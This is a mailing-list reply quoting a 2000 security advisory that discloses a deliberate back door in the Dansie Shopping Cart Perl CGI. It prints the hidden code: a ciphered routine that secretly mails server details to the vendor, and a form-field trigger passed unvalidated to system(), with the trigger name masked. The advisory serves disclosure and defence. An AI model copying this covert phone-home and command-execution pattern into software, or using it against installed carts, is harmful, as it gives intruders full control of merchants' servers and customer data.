I have purchased dansie's shooping cart I have been using it .. for a
while.. The version of the cart I am currently using is 2.84, this version
has the there,there2,there3 functions and the mail sending is in the code..
but as of 2.84... the system("FORM(xxxxxx)") is not implemented,,
A couple of months ago.. people at dansie sent me the upgrade of the cart
it was version.3.03 this versions does have the system call, I've already
sent
a mail to dansie to see what he says ...

Thanks ..

Luciano Ramos
[EMAIL PROTECTED]

----- Original Message -----
From: Joe <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, April 11, 2000 9:24 PM
Subject: Back Door in Commercial Shopping Cart


> Trojanized Commercial Shopping Cart
> ===============================================================
>
> Dansie Shopping Cart
>
> Version  : 3.04 (presumably earlier versions as well)
> Author   : Craig Dansie
> URL      : http://www.dansie.net/
> Language : Perl (both NT and Unix platforms are vulnerable)
> License  : Commercial, starting at $150.00
>            Copyright Dec 10, 1997-2000, Dansie Website Design
>
>
> Synopsis : This program -deliberately- allows arbitrary commands to be
>            executed on the victim server.
>
>
> One of our clients, while installing and configuring the Dansie Shopping
> Cart, ran into difficulty integrating PGP, the shopping cart program, and
> our secure server setup.  While trying to assist our client with the cart
> and PGP configuration we discovered a couple of things.
>
> The CGI, under certain conditions, sends an email to the author of the
> Dansie shopping cart software, '[EMAIL PROTECTED]'.  This is not readily
> apparent as the code that handles this transaction incorporates a simple
> Caesar Cipher to hide the email address. The cipher is handled via the
> subroutine 'there2':
>
> ------
> sub there2
> {
>     $_ = "$_[0]";
>     tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/;
>     tr/_/-/;
>     tr/\@/\./;
>     return $_;
> }
> -------
>
> The call that creates this email address and sends the mail is the
> function 'there3'.
>
> -------
> sub there3
> {
>     if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog"))
>     {
>         $a = &there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8');
>         $b = &there2('8v59_3jhhzi8');
>         pop(@there2);
>         pop(@there2);
>         $c = &there2("@there2");
>         open (TECH, "|$mailprog $a");
>         print TECH "To: $a\n";
>         print TECH "From: $a\n";
>         print TECH "Subject: $b\n\n";
>         print TECH "$path3\n";
>         print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n";
>         print TECH "$c\n";
>         print TECH "$e $there\n" if ($e);
>         close (TECH);
>     }
> }
> -------
>
> The ciphered strings, when passed through 'there2', result in:
>
>    8v59          == tech
>    kte3cv        == dansie
>    ev8           == net
>    8v59_3jhhzi8  == tech-support
>    $a            == [EMAIL PROTECTED]
>    $b            == Subject: tech-support
>
> This seems curious, but plausible reasons could include insuring License
> compliance, or maybe the cart automatically sends this email when an error
> occurs. The program definitely goes out of its way to hide the fact that
the
> mail is being sent.
>
> While going through the rest of the code we discovered a much more
> interesting item.
>
> (We've masked out the actual trigger element with question marks)
>
> ----------
> if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) ||
 ($FORM{'?????????'} ) && (!$d) ) )
> {
>     if ( $ENV{'OS'} )
>     {
>         system("$FORM{'?????????'}");
>     }
>     else
>     {
>         open(ELIF,"|$FORM{'?????????'}");
>     }
>     exit;
> }
> ---------
>
> The form element '?????????', which was originally a pseudo-random
appearing
> nine digit string of letters and numbers, allows an intruder to execute
any
> command on the server with the same privileges as the CGI process itself.
> Although this is a full disclosure list, the trigger element is obscured
to
> prevent the script kiddies from running away with this back door.  If you
> own the cart, then you have access to the source code and can discover the
> element in question easily enough on your own.
>
> Further searches through the code reveal that this form element is immune
> to data validation - it gets passed into this code fragment unchallenged.
>
> The '$d' variable of the condition which permits the back door to function
> is set elsewhere in the program to contain the string 'dansie'.  (Again,
> using the ciphertext algorithm) This indicates that the form element won't
> work on Dansie's own host, but will work on anyone elses.  There are
> additional problems with the 'there' function but we'll leave them as
> exercises for the reader to decipher.
>
> Dansie.net, armed with the server name and URL to the CGI executable
> provided by the cloaked email routine, would be able to run commands on
any
> web server on the Internet that has the Dansie Shopping Cart installed. It
> takes little imagination to dream up the potential havoc and privacy
> violations this level of access could result in; from stealing private
> customer records to a full-blown crack of an E-Commerce server.
>
> When checking to see if this was a known issue, the following post from
> "Kasey Johns" <kasey at corridor dot net>, made a little over a week ago,
> was discovered in alt.comp.perlcgi.freelance:
>
> http://www.deja.com/getdoc.xp?AN=601644315
> Follow-up article: http://www.deja.com/getdoc.xp?AN=601857849
>
> We won't quote Kasey's posts here, in brief, Kasey also discovered the
back
> door and cloaked email routines. Kasey also provides evidence in the post
to
> indicate that not only is Dansie well aware of the back door routine, but
> may be actively attempting to utilize it.
>
> Based upon our own investigation, the information Kasey posted, and our
own
> firewall logs (see below), it is our opinion that the back door within
> Dansie.net's shopping cart can best be summarized as follows:
>
>   1. The back door is very deliberate.
>   2. It isn't unique to the one copy we have access to here.
>   3. *Is being actively utilized by the author of the CGI.
>
> * Based upon the log snippet in Kasey's post showing attempted access to
> the CGI from an Earthlink dial-up IP.  (209.179.141.0/24). According to
> Kasey, access to the CGI was attempted less than 30 minutes after the cart
> was installed.
>
> When we noticed the attempted usage of Kasey's server, a quick check of
our
> own firewall logs revealed the following:
>
>    Packet log: input REJECT eth0 PROTO=6 209.179.141.xx:1054 x.x.x.x:80
>    {repeated several dozen times}
>
> We can only assume these attempts, made from the same /24 on Earthlink's
> dial-ups as the one used to probe Kasey's server, were from the author of
> the shopping cart.
>
> We will not try to hazard a guess as to why Dansie.net felt the need to
> include a back door within their shopping cart software. Whatever their
> reasoning may be, it is our opinion that no reason, no matter how well
> thought out or rationalized, justifies the existence of this back door. No
> reasoning can possibly explain away a routine that deliberately allows an
> intruder unrestricted and unauthorized access to any server on the
Internet
> that has the Dansie Shopping Cart installed.
>
> --
> Joe                                     Technical Support
> General Support:  [EMAIL PROTECTED]     Blarg! Online Services, Inc.
> Voice:  425/401-9821 or 888/66-BLARG    http://www.blarg.net
>

Reply via email to